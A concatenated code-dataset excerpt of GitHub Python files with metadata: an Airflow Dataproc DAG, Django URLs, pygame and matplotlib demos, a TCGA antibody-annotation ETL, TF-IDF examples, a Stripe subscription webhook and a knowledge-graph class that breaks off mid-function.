\"gs://\"+code_bucket+\"/daily-covid-data-analysis/00-scripts/covid.py\"\n\nBATCH_ID = name+\"-covid-data-analytics-\"+str(ran)\n\nBATCH_CONFIG1 = {\n \"pyspark_batch\": {\n \"main_python_file_uri\": covid_script,\n \"args\": [\n code_bucket\n ],\n\n },\n \"environment_config\":{\n \"execution_config\":{\n \"service_account\": service_account_id,\n \"subnetwork_uri\": subnet\n },\n\n },\n \"runtime_config\":{\n \"version\": \"1.1\",\n },\n\n}\n\nwith models.DAG(\n dag_name,\n schedule_interval=None,\n start_date = days_ago(2),\n catchup=False,\n) as dag_serverless_batch:\n # [START how_to_cloud_dataproc_create_batch_operator]\n create_serverless_batch1 = DataprocCreateBatchOperator(\n task_id=\"Covid-script\",\n project_id=project_id,\n region=region,\n batch=BATCH_CONFIG1,\n batch_id=BATCH_ID,\n )\n\n # [END how_to_cloud_dataproc_create_batch_operator]\n\n create_serverless_batch1\n","repo_name":"GoogleCloudPlatform/serverless-spark-workshop","sub_path":"daily-covid-data-analysis/00-scripts/pipeline_covid.py","file_name":"pipeline_covid.py","file_ext":"py","file_size_in_byte":1870,"program_lang":"python","lang":"en","doc_type":"code","stars":57,"dataset":"github-code","pt":"31"} +{"seq_id":"41083405047","text":"from django.contrib import admin\nfrom django.urls import include, path\n\nfrom . import views\n\nurlpatterns = [\n path(\n '',\n views.very_simple_json_response\n ),\n path(\n 'http_response/',\n views.use_http_response_for_json\n ),\n path(\n 'cbv1/',\n views.JsonCBV1.as_view(),\n ),\n path(\n 'cbv2/',\n views.JsonCBV2.as_view(),\n ),\n path(\n 'serialized_detail/',\n views.SerializedDetailView.as_view(),\n ),\n path(\n 'serialized_list/',\n views.SerializedListView.as_view(),\n )\n\n\n\n\n]\n","repo_name":"copyNdpaste/MiniYogiyo","sub_path":"TIL/thkwon/etc/pure_django_api/src/updates/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":585,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"31"} +{"seq_id":"5142737207","text":"import pygame, sys\nfrom pygame.locals import *\n\npygame.init()\n\n# Create the window, assigning it to variable 'surface'.\nsurface = pygame.display.set_mode((350, 250), pygame.RESIZABLE)\n\npygame.display.set_caption(\"Resizing test\")\n\nwhile True:\n surface.fill((255,255,255))\n\n # Draw a red rectangle that resizes with the window as a test.\n pygame.draw.rect(surface, (200,0,0), (100,100,100,100))\n\n pygame.display.update()\n for event in pygame.event.get():\n if event.type == QUIT:\n pygame.quit()\n sys.exit()\n if event.type == KEYDOWN:\n if event.key == K_ESCAPE:\n pygame.quit()\n sys.exit()\n if event.type == VIDEORESIZE:\n # The main code that resizes the window:\n # (recreate the window with the new size)\n surface = pygame.display.set_mode((event.w, event.h),\n pygame.RESIZABLE)","repo_name":"wahur666/VisualLogo","sub_path":"Etc/qwe.py","file_name":"qwe.py","file_ext":"py","file_size_in_byte":951,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"20972628631","text":"#!/usr/bin/python3\n\nimport time\nimport matplotlib.pyplot as plt\nfrom sklearn.datasets import load_iris\n\n#loading iris\n\niris = load_iris()\n\n#print flower naqmes\n\nfl_name = iris.target_names\n\n#print features of iris\n\nfl_features = iris.feature_names\n\n# loading flower features data\n\nfl_features_data = iris.data\n\n#print(fl_features_data)\nfl_real_data = iris.target\n\nplt.xlabel(\"setosa\")\nplt.ylabel(\"versicolor\")\nplt.title(\"IRIS\")\nx1=fl_features_data[0:50]\ny1=fl_features_data[0:50]\nplt.legend()\nplt.show()\n","repo_name":"RohanSinghal/ml","sub_path":"flowers.py","file_name":"flowers.py","file_ext":"py","file_size_in_byte":504,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"22944928731","text":"import sys\nimport re\nimport json\nimport pandas as pd\nfrom pandas import ExcelWriter\nimport numpy as np\nimport os.path\nfrom os.path import basename\n\nfrom bigquery_etl.extract.gcloud_wrapper import GcsConnector\nfrom bigquery_etl.utils.logging_manager import configure_logging\n\ndef download_antibody_annotation_files(config, log):\n object_key_template = config['protein']['aa_object_key_template']\n aa_file_dir = config['protein']['aa_file_dir']\n gcs = GcsConnector(config['project_id'], config['buckets']['open'])\n studies = config['all_tumor_types']\n nonrppa_studies = config['protein']['nonrppa']\n \n log.info('\\tstart downloading antibody annotation files to %s from %s:%s' % (aa_file_dir, config['project_id'], config['buckets']['open']))\n if not os.path.isdir(aa_file_dir):\n os.makedirs(aa_file_dir)\n for study in studies:\n if study in nonrppa_studies:\n continue\n keypath = object_key_template % (study.lower(), study.upper())\n log.info('\\t\\tdownloading %s' % (keypath))\n tmpfile = gcs.download_blob_to_file(keypath)\n with open(aa_file_dir + keypath[keypath.rindex('/'):], 'w') as outfile:\n outfile.write(tmpfile.getvalue())\n log.info('\\tdone downloading antibody annotation files')\n\n\ndef process_antibody_annotation_files(config, log):\n # Get protein name from the 'composite element ref', get only for the missing one/ problematic ones\n log.info('\\tstart processing antibody annotation files')\n antibodySource = ['M', 'R', 'G']\n validationStatus = ['V', 'C', 'NA', 'E', 'QC']\n substrings = [\"-\".join([\"\", ads, vds + \".*\"]) for ads in antibodySource for vds in validationStatus]\n protein_substrings = re.compile(\"|\".join(substrings))\n \n # collect gene and protein information for missing one\n corrected_aa_files_dir = config['protein']['corrected_aa_file_dir']\n if not os.path.exists(corrected_aa_files_dir):\n os.makedirs(corrected_aa_files_dir)\n\n aa_file_dir = config['protein']['aa_file_dir']\n a = re.compile(\"^.*.antibody_annotation.txt$\")\n files = os.listdir(aa_file_dir)\n for aafile in files:\n if a.match(aafile):\n filename = os.path.join(aa_file_dir, aafile)\n log.info('\\t\\tprocess %s' % aafile)\n data_df = pd.read_csv(filename, delimiter='\\t', header=0, keep_default_na=False)\n column_names = list(data_df.columns.values)\n # fix antibody_validation_status column, this can be a dict in case there are more than one substitutions\n column_names = map(lambda x:x.replace('Val.Stat', 'antibody_validation_status'), column_names)\n column_names = map(lambda x:x.replace(\" \", \"_\"), column_names)\n pattern = re.compile(r\"\\.+\")\n column_names = map(lambda x:pattern.sub(\"_\", x), column_names)\n column_names = map(lambda x:x.strip(\"_\"), column_names)\n column_names = map(lambda x:x.lower(), column_names)\n data_df.columns = column_names\n # Fix minor data inconsistencies in the antibody_validation_status values\n if 'antibody_validation_status' in column_names:\n data_df['antibody_validation_status'].replace({'UsewithCaution':'Use with Caution', 'UnderEvaluation':'Under Evaluation'}, inplace=True)\n else:\n log.info(\"No antibody_validation_status in file\")\n # Check if the file has composite_element_ref, else create one\n if 'composite_element_ref' not in column_names:\n log.warning(\"The file doesn\\'t have a composite_element_ref\" % (filename))\n data_df['antibody_origin_abbv'] = map(lambda x:x[0], data_df['antibody_origin'])\n data_df['composite_element_ref'] = data_df['protein_name'] + \"-\" + data_df['antibody_origin_abbv'] + \"-\" + data_df['antibody_validation_status']\n del data_df['antibody_origin_abbv']\n # get protein name from the 'composite column ref'\n if 'protein_name' not in column_names:\n data_df['protein_name'] = map(lambda x:protein_substrings.sub(\"\", x), data_df['composite_element_ref'])\n # strip each value of the empty space\n data_df['gene_name'] = map(lambda x:x.strip(), data_df['gene_name'])\n data_df['protein_name'] = map(lambda x:x.strip(), data_df['protein_name'])\n # create corrected Antibody Annotation files\n corrected_aa_files_dir = config['protein']['corrected_aa_file_dir']\n if not os.path.exists(corrected_aa_files_dir):\n os.makedirs(corrected_aa_files_dir)\n data_df.to_csv(corrected_aa_files_dir + aafile, sep='\\t', index=False)\n log.info('\\t\\tdone processing %s' % aafile)\n\n log.info('\\tdone processing antibody annotation files')\n\n#------------------------------------------\n# Get HGNC approved, alias, previous symbols\n#------------------------------------------\ndef parse_hgnc(hgnc_file, log):\n log.info('\\t\\tparse hgnc records')\n hgnc_json_data=open(hgnc_file)\n data = json.load(hgnc_json_data)\n \n row_list = []\n for hgnc in data[\"response\"]['docs']:\n if 'alias_symbol' not in hgnc:\n hgnc['alias_symbol'] = \"\"\n \n if 'prev_symbol' not in hgnc:\n hgnc['prev_symbol'] = \"\"\n \n # store symbol, alias, previous symbol\n row_list.append(\n {\n 'symbol': hgnc['symbol']\n ,'alias_symbol':\";\".join(hgnc['alias_symbol'])\n ,'prev_symbol':\";\".join(hgnc['prev_symbol'])\n }\n )\n # create a dataframe with HGNC information; use this to query information about HGNC genes\n hgnc_df = pd.DataFrame(row_list)\n log.info('\\t\\tcompleted hgnc records')\n return hgnc_df\n\n#-------------------------------------------------\n# HGNC validation\n ## - Algorithm - ##\n #1. Check if the gene name is avaliable in the HGNC symbols, if yes - Approved, if no - Step 2\n #2. Check if the gene name is avaliable in the HGNC Alias symbols, if yes - Approved, if no - Step 3\n #3. Check if the gene name is avaliable in the HGNC previous symbols, if yes - Replace with the HGNC symbol, if no - Step 4\n #4. Not found, status update to \"not_found\". Gene not changed.\n#------------------------------------------------\ndef hgnc_validation(gene_name, hgnc_df):\n if not hgnc_df[hgnc_df.symbol == gene_name].empty:\n val_status = \"approved\"\n val_gene = gene_name\n additional_notes = ''\n else:\n alias_df = hgnc_df[pd.Series([gene_name in x for x in hgnc_df.alias_symbol.str.split(\";\")])]\n if not alias_df.empty:\n val_status = \"alias\" \n val_gene = gene_name\n additional_notes = 'alias_gene_symbol'\n else:\n prev_df = hgnc_df[pd.Series([gene_name in x for x in hgnc_df.prev_symbol.str.split(\";\")])]\n if not prev_df.empty:\n val_status = \"prev\"\n val_gene = str(prev_df.symbol.values[0])\n additional_notes = 'prev_gene_symbol_replaced_by_' + str(val_gene)\n else:\n val_status = \"not_found\"\n val_gene = gene_name\n additional_notes = 'dead_end_gene_not_found_in_HGNC' \n return (val_status, val_gene, additional_notes)\n\n\ndef get_variants_of_name(name1, name_list):\n allnames = []\n for name2 in name_list:\n name_org2 = name2\n \n replace_column_strings= {\n \" \" : \"\" # blank space to underscore\n , \"-\" : \"\" # dashes to underscore (BQ doesnt allow dashes)\n , \")\" : \"\" # delete closing bracket\n , \"(\" : \"\" # opening bracket to underscore\n , \"+\" : \"\" # plus to underscore\n , \"_\" : \"\"\n }\n \n # replace all patterns from above\n for repl in replace_column_strings:\n name2 = name2.replace(repl, replace_column_strings[repl]).lower().strip()\n name1 = name1.replace(repl, replace_column_strings[repl]).lower().strip()\n if name2 == name1:\n allnames.append(name_org2)\n \n if len(set(allnames)) > 1:\n return list(set(allnames))\n else:\n return np.nan\n\n\ndef rank_dataframe(data_library):\n for idx, row in data_library.iterrows():\n record = row.to_dict()\n \n rank = 100\n notes = ''\n if int(record['num_genes']) != 1:\n rank = rank - 1\n notes = notes + 'num_genes not 1;'\n if int(record['num_proteins']) != 1:\n rank = rank - 1\n notes = notes + 'num_proteins not 1;'\n if 'not_found' in record['HGNC_validation_status']:\n rank = rank - 1\n notes = notes + 'gene not_found in HGNC;'\n if 'prev' in record['HGNC_validation_status']:\n rank = rank - 1\n notes = notes + 'prev gene in HGNC;'\n if 'alias' in record['HGNC_validation_status']:\n rank = rank - 1\n notes = notes + 'alias gene in HGNC;'\n if not isinstance(record['other_protein_names'], float):\n rank = rank - 2\n notes = notes + 'found other potential protein names;'\n if not isinstance(record['other_gene_names'], float):\n rank = rank - 2\n notes = notes + 'found other potential gene names;'\n data_library.loc[idx,'row_rank'] = rank\n data_library.loc[idx,'notes'] = notes\n return data_library\n\n\ndef get_antibody_gene_protein_map(config, log):\n antibody_to_protein_map = {}\n antibody_to_gene_map = {}\n \n # collect gene and protein information for missing one\n log.info('\\t\\tcreate antibody to protein and gene maps')\n a = re.compile(\"^.*.antibody_annotation.txt$\")\n corrected_aa_files_dir = config['protein']['corrected_aa_file_dir']\n files = os.listdir(corrected_aa_files_dir)\n for aafile in files:\n if a.match(aafile):\n log.info('\\t\\t\\tgetting antibody map from %s' % (aafile))\n filename = os.path.join(corrected_aa_files_dir, aafile)\n\n # convert the file into a dataframe\n data_df = pd.read_csv(filename, delimiter='\\t', header=0, keep_default_na=False)\n\n # collect information to create a map\n for _, row in data_df.iterrows():\n record = row.to_dict()\n\n if not antibody_to_protein_map.get('composite_element_ref'):\n antibody_to_protein_map[record['composite_element_ref']] = []\n antibody_to_protein_map[record['composite_element_ref']].append(record['protein_name'].strip())\n\n if not antibody_to_gene_map.get('composite_element_ref'):\n antibody_to_gene_map[record['composite_element_ref']] = []\n antibody_to_gene_map[record['composite_element_ref']].append(record['gene_name'].strip())\n log.info('\\t\\tdone getting antibody map from %s' % (aafile))\n log.info('\\t\\tfinished antibody to protein and gene maps')\n \n return antibody_to_gene_map, antibody_to_protein_map\n\n\ndef fix_gene_protein_inconsistencies(config, hgnc_df_filename, log):\n # create a excel spreadsheet with the HGNC and antibody-gene-p map\n log.info('\\tstart fixing gene/protein inconsistencies')\n corrected_aa_files_dir = config['protein']['corrected_aa_file_dir']\n writer = ExcelWriter(corrected_aa_files_dir + 'antibody-gene-protein-map.xlsx')\n\n antibody_to_gene_map, antibody_to_protein_map = get_antibody_gene_protein_map(config, log)\n\n # create a dataframe to work with\n log.info('\\t\\tcreate combined antibody to gene/protein map')\n aa_map = []\n for i in antibody_to_gene_map:\n num_gene_names = len(filter(len, antibody_to_gene_map[i]))\n num_protein_names = len(filter(len, antibody_to_protein_map[i]))\n aa_map.append({\n 'composite_element_ref': i\n ,'gene_name': antibody_to_gene_map[i]\n ,'protein_name': antibody_to_protein_map[i]\n ,'num_genes' : num_gene_names\n ,'num_proteins': num_protein_names\n })\n \n data_library = pd.DataFrame(aa_map)\n\n # --------------------------part 1--------------------------------------\n ## check other potential protein and gene names \n protein_lists = data_library['protein_name'].tolist()\n gene_lists = data_library['gene_name'].tolist()\n \n protein_names = [item for i in protein_lists for item in i]\n gene_names = [item for i in gene_lists for item in i]\n \n data_library.loc[:, 'other_protein_names'] = data_library['protein_name'].map(lambda x: get_variants_of_name(x[0], protein_names))\n data_library.loc[:, 'other_gene_names'] = data_library['gene_name'].map(lambda x: get_variants_of_name(x[0], gene_names))\n data_library.loc[:, 'final_curated_protein'] = data_library['protein_name']\n \n #--------------------------part 2 ----------------------------------------\n # HGNC validation \n hgnc_df = parse_hgnc(hgnc_df_filename, log)\n hgnc_df.to_excel(writer,'HGNC_validated_genes')\n writer.save()\n\n # this is an hack if we find multiple genes \n log.info('\\t\\tcombine multiple genes in record')\n for idx, row in data_library.iterrows():\n record = row.to_dict()\n \n all_val_statuses = []\n all_val_genes = []\n additional_notes = ''\n for genelist in record['gene_name']:\n ind_val_status = []\n ind_val_gene = []\n ind_val_notes = []\n for gene in genelist.split():\n val_status, val_gene, additional_notes = hgnc_validation(gene, hgnc_df)\n ind_val_status.append(val_status)\n ind_val_gene.append(val_gene)\n ind_val_notes.append(additional_notes)\n all_val_statuses.append(\" \".join(ind_val_status))\n all_val_genes.append(\" \".join(ind_val_gene))\n additional_notes = \";\".join(list(set(ind_val_notes)))\n\n data_library.loc[idx,'HGNC_validation_status'] = all_val_statuses\n data_library.loc[idx,'final_curated_gene'] = all_val_genes\n additional_notes = additional_notes.strip()\n if additional_notes:\n data_library.loc[idx,'additional_notes'] = additional_notes\n\n # -----------------Rank the dataframe----------------------------------# \n # rank the data frame \n log.info('\\t\\trank records')\n data_library = rank_dataframe(data_library)\n data_library = data_library.sort(['row_rank'], ascending=[1])\n col_order = ['composite_element_ref', 'num_genes', 'num_proteins', 'gene_name', 'protein_name', 'HGNC_validation_status', 'other_protein_names', 'other_gene_names', 'final_curated_gene', 'final_curated_protein', 'row_rank', 'notes', 'additional_notes'] \n data_library.to_excel(writer,'antibody-gene-protein-map', index=False, columns= col_order)\n writer.save()\n log.info('\\tdone fixing gene/protein inconsistencies')\n \ndef main(configfilename, hgnc_df_filename):\n # go through the AA files and create corrected files. \n try:\n log_filename = 'etl_process_antibody_files.log'\n log_name = 'etl_process_antibody_files'\n log = configure_logging(log_name, log_filename)\n \n log.info('start processing antibody annotation files')\n with open(configfilename) as configfile:\n config = json.load(configfile)\n download_antibody_annotation_files(config, log)\n process_antibody_annotation_files(config, log)\n fix_gene_protein_inconsistencies(config, hgnc_df_filename, log)\n log.info('done processing antibody annotation files')\n except Exception as e:\n log.exception('fatal problem processing antibody files')\n raise e\n\nif __name__ == '__main__':\n main(sys.argv[1], sys.argv[2])\n","repo_name":"isb-cgc/ISB-CGC-data-proc","sub_path":"tcga_etl_pipeline/protein/antibody-gene-protein-map/process_aa_files.py","file_name":"process_aa_files.py","file_ext":"py","file_size_in_byte":15952,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"31"} +{"seq_id":"22817420035","text":"year1 = int(input(\"Enter a year: \"))\r\nmonth = int(input(\"Enter a month: \"))\r\ndef is_leap(year):\r\n if year % 4 == 0:\r\n if year % 100 == 0:\r\n if year % 400 == 0:\r\n print(\"true\")\r\n else:\r\n print(\"false\")\r\n else:\r\n print(\"true\")\r\n else:\r\n print(\"false\")\r\nleap_year1 = is_leap(year1)\r\ndef days_in_month():\r\n month_days = [0,31, 28, 31, 30, 31, 30, 31, 31, 30, 31, 30, 31] \r\n if leap_year1 == \"true\" and month == 2:\r\n return 29\r\n return month_days[month]\r\nprint(f\"Number of days in month {month} = {days_in_month()} \")\r\n \r\n","repo_name":"Anshsiddhu/Python-Projects","sub_path":"Day-10.py","file_name":"Day-10.py","file_ext":"py","file_size_in_byte":571,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"24116907758","text":"import numpy as np\n\nfrom sklearn.feature_extraction.text import CountVectorizer\nfrom sklearn.feature_extraction.text import TfidfTransformer\n\n\n# bow ( bag of words )\nmin_df = 0.24\nmax_df = 0.76\ncount = CountVectorizer()\n# count = CountVectorizer(min_df, max_df, stop_words=\"english\")\n\nmessages_list = [\n 'The sun is shining',\n 'The weather is shining',\n 'the sun is shining, the weather is sweet, and one and one is two',\n]\ndocs = np.array(messages_list)\nbag = count.fit_transform(docs)\n\n\nfeatures = count.get_feature_names()\nprint('bag : ', bag)\nprint('type(bag) : ', type(bag))\nprint(bag.toarray())\nprint(\"count.vocabulary_ : \", count.vocabulary_)\nprint(\"count.get_feature_names() : \", count.get_feature_names())\n# print(\"count.fit_transform(docs) : \", count.fit_transform(docs))\nprint('features:', features)\nprint(\"---------------------------------------------------\")\n\n\n# tf-idf\ntfidf = TfidfTransformer(use_idf=True, norm='l2', smooth_idf=True)\nnp.set_printoptions(precision=2)\n# tf_idf = tfidf.fit_transform(count.fit_transform(docs))\ntf_idf = tfidf.fit_transform(bag)\nprint(tf_idf)\nprint(tf_idf.toarray())\n","repo_name":"shimakaze-git/nlp_python","sub_path":"count_vectorizer.py","file_name":"count_vectorizer.py","file_ext":"py","file_size_in_byte":1122,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"74251203287","text":"import stripe\nfrom django.conf import settings\nfrom django.core.mail import send_mail\nfrom django.http import HttpResponse\nfrom django.views.decorators.http import require_POST\nfrom django.contrib.auth.models import User\nfrom django.views.decorators.csrf import csrf_exempt\nfrom django.template.loader import render_to_string\n\n\n@require_POST\n@csrf_exempt\ndef portal_webhook(request):\n wh_secret = settings.STRIPE_PORTAL_WEBHOOK_SECRET\n stripe.api_key = settings.STRIPE_SECRET_KEY\n try:\n signature = request.headers['stripe-signature']\n event = stripe.Webhook.construct_event(\n payload=request.body, sig_header=signature,\n secret=wh_secret)\n data = event['data']\n event_type = event['type']\n except Exception as e:\n return e\n\n data_object = data['object']\n\n if event_type == 'invoice.payment_succeeded':\n if data_object['billing_reason'] == 'subscription_create':\n # Customer has newly subscribed - Set the default payment method\n # for recurring charges and email them the Portal signup\n # confirmation\n subscription_id = data_object['subscription']\n payment_intent_id = data_object['payment_intent']\n metadata = data_object['lines']['data'][0]['metadata']\n # Send the email\n send_subscription_confirmation_email(metadata)\n # Retrieve the payment intent used to pay the subscription\n payment_intent = stripe.PaymentIntent.retrieve(payment_intent_id)\n\n # Set the default payment method\n stripe.Subscription.modify(\n subscription_id,\n default_payment_method=payment_intent.payment_method\n )\n return HttpResponse(\n content=f'Webhook received: {event[\"type\"]}. '\n f'Default payment card set',\n status=200\n )\n # Handle any other 'invoice.payment_succeeded' events\n return HttpResponse(\n content=f'Webhook received: {event[\"type\"]}.',\n status=200\n )\n\n elif event_type == 'customer.subscription.updated':\n # This webhook event contains the current state of a customers\n # subscription. If the status is 'active', access is granted to the\n # portal content. Any other status will not allow access to Portal\n # content. The subscription status is saved to the users profile.\n user = User.objects.get(email=data_object['metadata']['email'])\n user.profile.subscription_status = data_object['status']\n user.profile.save()\n return HttpResponse(\n content=f\"Webhook received: {event['type']}, {user.profile} \"\n f\"subscription status is {data_object['status']}.\",\n status=200\n )\n\n elif event_type == 'customer.subscription.deleted':\n # Subscriptions are set via the Stripe dashboard to be deleted\n # immediately after a recurring payment fails.\n # This webhook removes any Stripe subscription details from the user's\n # profile and sends the cancellation email\n metadata = data_object['metadata']\n user_email = metadata['email']\n user = User.objects.get(email=user_email)\n # Clear out any stripe id's from the user's profile\n user.profile.subscription_status = ''\n user.profile.portal_cust_id = ''\n user.profile.subscription_id = ''\n user.profile.save()\n # Email the user a cancellation confirmation\n send_subscription_cancelation_email(metadata)\n\n return HttpResponse(\n content=f'Webhook received: {event[\"type\"]}',\n status=200\n )\n\n # Handle any other webhook\n else:\n return HttpResponse(\n content=f'Webhook received: {event[\"type\"]}',\n status=200\n )\n\n\n# Sends subscription confirmation email when a user signs up and pays.\n# Called in the 'invoice.payment_succeeded' webhook handler\ndef send_subscription_confirmation_email(metadata):\n customer_email = metadata['email']\n customer_name = metadata['name']\n portal_price = settings.PORTAL_PRICE\n contact_email = settings.DEFAULT_FROM_EMAIL\n subject = render_to_string(\n 'portal/confirmation_emails/portal_signup_confirmation_subject.txt',\n )\n\n body = render_to_string(\n 'portal/confirmation_emails/portal_signup_confirmation_body.txt',\n {'name': customer_name,\n 'contact_email': contact_email,\n 'portal_price': portal_price}\n )\n\n send_mail(\n subject,\n body,\n settings.DEFAULT_FROM_EMAIL,\n [customer_email]\n )\n\n\n# Sends subscription cancelation email when a user either cancels their\n# subscription or the subscription payments are not fulfilled.\n# Called in the 'customer.subscription.deleted' webhook handler\ndef send_subscription_cancelation_email(metadata):\n customer_email = metadata['email']\n customer_name = metadata['name']\n contact_email = settings.DEFAULT_FROM_EMAIL\n subject = render_to_string(\n 'portal/confirmation_emails/portal_cancellation_subject.txt',\n )\n\n body = render_to_string(\n 'portal/confirmation_emails/portal_cancellation_body.txt',\n {'name': customer_name,\n 'contact_email': contact_email}\n )\n\n send_mail(\n subject,\n body,\n settings.DEFAULT_FROM_EMAIL,\n [customer_email]\n )\n","repo_name":"richardthorp/radiohead","sub_path":"portal/webhooks.py","file_name":"webhooks.py","file_ext":"py","file_size_in_byte":5472,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"7564729907","text":"from __future__ import absolute_import, division, print_function\n\nimport os\nimport sys\nimport argparse\nfrom math import log\nfrom tqdm import tqdm\nfrom copy import deepcopy\nimport numpy as np\nimport gzip\nimport pickle\nimport random\nfrom datetime import datetime\nimport matplotlib.pyplot as plt\nimport torch\n\nsys.path.insert(0, os.path.dirname(os.path.dirname(os.path.abspath(__file__))))\n\nfrom kg_utils import *\nfrom data_utils import AmazonDataset\n\n\nclass KnowledgeGraph(object):\n\n def __init__(self, dataset):\n self.G = dict()\n self._load_entities(dataset)\n self._load_reviews(dataset)\n self._load_knowledge(dataset)\n self._clean()\n self.top_matches = None\n\n def _load_entities(self, dataset):\n print('Load entities...')\n num_nodes = 0\n for entity in get_entities():\n self.G[entity] = {}\n vocab_size = getattr(dataset, entity).vocab_size\n for eid in range(vocab_size):\n self.G[entity][eid] = {r: [] for r in get_relations(entity)}\n num_nodes += vocab_size\n print('Total {:d} nodes.'.format(num_nodes))\n\n def _load_reviews(self, dataset, word_tfidf_threshold=0.1, word_freq_threshold=5000):\n print('Load reviews...')\n # (1) Filter words by both tfidf and frequency.\n vocab = dataset.word.vocab\n reviews = [d[2] for d in dataset.review.data]\n review_tfidf = compute_tfidf_fast(vocab, reviews)\n distrib = dataset.review.word_distrib\n\n num_edges = 0\n all_removed_words = []\n for rid, data in enumerate(dataset.review.data):\n uid, pid, review = data\n doc_tfidf = review_tfidf[rid].toarray()[0]\n remained_words = [wid for wid in set(review)\n if doc_tfidf[wid] >= word_tfidf_threshold\n and distrib[wid] <= word_freq_threshold]\n removed_words = set(review).difference(remained_words) # only for visualize\n removed_words = [vocab[wid] for wid in removed_words]\n all_removed_words.append(removed_words)\n if len(remained_words) <= 0:\n continue\n\n # (2) Add edges.\n self._add_edge(USER, uid, PURCHASE, PRODUCT, pid)\n num_edges += 2\n for wid in remained_words:\n self._add_edge(USER, uid, MENTION, WORD, wid)\n self._add_edge(PRODUCT, pid, DESCRIBED_AS, WORD, wid)\n num_edges += 4\n print('Total {:d} review edges.'.format(num_edges))\n\n with open('./tmp/review_removed_words.txt', 'w') as f:\n f.writelines([' '.join(words) + '\\n' for words in all_removed_words])\n\n def _load_knowledge(self, dataset):\n for relation in [PRODUCED_BY, BELONG_TO, ALSO_BOUGHT, ALSO_VIEWED, BOUGHT_TOGETHER]:\n print('Load knowledge {}...'.format(relation))\n data = getattr(dataset, relation).data\n num_edges = 0\n for pid, eids in enumerate(data):\n if len(eids) <= 0:\n continue\n for eid in set(eids):\n et_type = get_entity_tail(PRODUCT, relation)\n self._add_edge(PRODUCT, pid, relation, et_type, eid)\n num_edges += 2\n print('Total {:d} {:s} edges.'.format(num_edges, relation))\n\n def _add_edge(self, etype1, eid1, relation, etype2, eid2):\n self.G[etype1][eid1][relation].append(eid2)\n self.G[etype2][eid2][relation].append(eid1)\n\n def _clean(self):\n print('Remove duplicates...')\n for etype in self.G:\n for eid in self.G[etype]:\n for r in self.G[etype][eid]:\n data = self.G[etype][eid][r]\n data = tuple(sorted(set(data)))\n self.G[etype][eid][r] = data\n\n def compute_degrees(self):\n print('Compute node degrees...')\n self.degrees = {}\n self.max_degree = {}\n for etype in self.G:\n self.degrees[etype] = {}\n for eid in self.G[etype]:\n count = 0\n for r in self.G[etype][eid]:\n count += len(self.G[etype][eid][r])\n self.degrees[etype][eid] = count\n\n def plot_degrees(self):\n all_degrees = 0.\n all_count = 0\n for etype in self.G:\n print(etype)\n data = [self.degrees[etype][eid] for eid in self.degrees[etype]]\n data = sorted(data, reverse=True)\n all_degrees += np.sum(data)\n all_count += len(data)\n num_ignore = int(0.005 * len(data))\n print(num_ignore, data[num_ignore])\n # print(data[:num_ignore])\n # plt.hist(data)\n # plt.title(etype)\n # plt.show()\n print('average degree:', all_degrees / all_count)\n\n def get(self, eh_type, eh_id=None, relation=None):\n data = self.G\n if eh_type is not None:\n data = data[eh_type]\n if eh_id is not None:\n data = data[eh_id]\n if relation is not None:\n data = data[relation]\n return data\n\n def __call__(self, eh_type, eh_id=None, relation=None):\n return self.get(eh_type, eh_id, relation)\n\n def get_tails(self, entity_type, entity_id, relation):\n return self.G[entity_type][entity_id][relation]\n\n def get_tails_given_user(self, entity_type, entity_id, relation, user_id):\n \"\"\" Very important!\n :param entity_type:\n :param entity_id:\n :param relation:\n :param user_id:\n :return:\n \"\"\"\n tail_type = KG_RELATION[entity_type][relation]\n tail_ids = self.G[entity_type][entity_id][relation]\n if tail_type not in self.top_matches:\n return tail_ids\n top_match_set = set(self.top_matches[tail_type][user_id])\n top_k = len(top_match_set)\n if len(tail_ids) > top_k:\n tail_ids = top_match_set.intersection(tail_ids)\n return list(tail_ids)\n\n def trim_edges(self):\n degrees = {}\n for entity in self.G:\n degrees[entity] = {}\n for eid in self.G[entity]:\n for r in self.G[entity][eid]:\n if r not in degrees[entity]:\n degrees[entity][r] = []\n degrees[entity][r].append(len(self.G[entity][eid][r]))\n\n for entity in degrees:\n for r in degrees[entity]:\n tmp = sorted(degrees[entity][r], reverse=True)\n print(entity, r, tmp[:10])\n\n def set_top_matches(self, u_u_match, u_p_match, u_w_match):\n self.top_matches = {\n USER: u_u_match,\n PRODUCT: u_p_match,\n WORD: u_w_match,\n }\n\n def heuristic_search(self, uid, pid, pattern_id, trim_edges=False):\n if trim_edges and self.top_matches is None:\n raise Exception('To enable edge-trimming, must set top_matches of users first!')\n if trim_edges:\n _get = lambda e, i, r: self.get_tails_given_user(e, i, r, uid)\n else:\n _get = lambda e, i, r: self.get_tails(e, i, r)\n\n pattern = PATH_PATTERN[pattern_id]\n paths = []\n if pattern_id == 1: # OK\n wids_u = set(_get(USER, uid, MENTION)) # USER->MENTION->WORD\n wids_p = set(_get(PRODUCT, pid, DESCRIBED_AS)) # PRODUCT->DESCRIBE->WORD\n intersect_nodes = wids_u.intersection(wids_p)\n paths = [(uid, x, pid) for x in intersect_nodes]\n elif pattern_id in [11, 12, 13, 14, 15, 16, 17]:\n pids_u = set(_get(USER, uid, PURCHASE)) # USER->PURCHASE->PRODUCT\n pids_u = pids_u.difference([pid]) # exclude target product\n nodes_p = set(_get(PRODUCT, pid, pattern[3][0])) # PRODUCT->relation->node2\n if pattern[2][1] == USER:\n nodes_p.difference([uid])\n for pid_u in pids_u:\n relation, entity_tail = pattern[2][0], pattern[2][1]\n et_ids = set(_get(PRODUCT, pid_u, relation)) # USER->PURCHASE->PRODUCT->relation->node2\n intersect_nodes = et_ids.intersection(nodes_p)\n tmp_paths = [(uid, pid_u, x, pid) for x in intersect_nodes]\n paths.extend(tmp_paths)\n elif pattern_id == 18:\n wids_u = set(_get(USER, uid, MENTION)) # USER->MENTION->WORD\n uids_p = set(_get(PRODUCT, pid, PURCHASE)) # PRODUCT->PURCHASE->USER\n 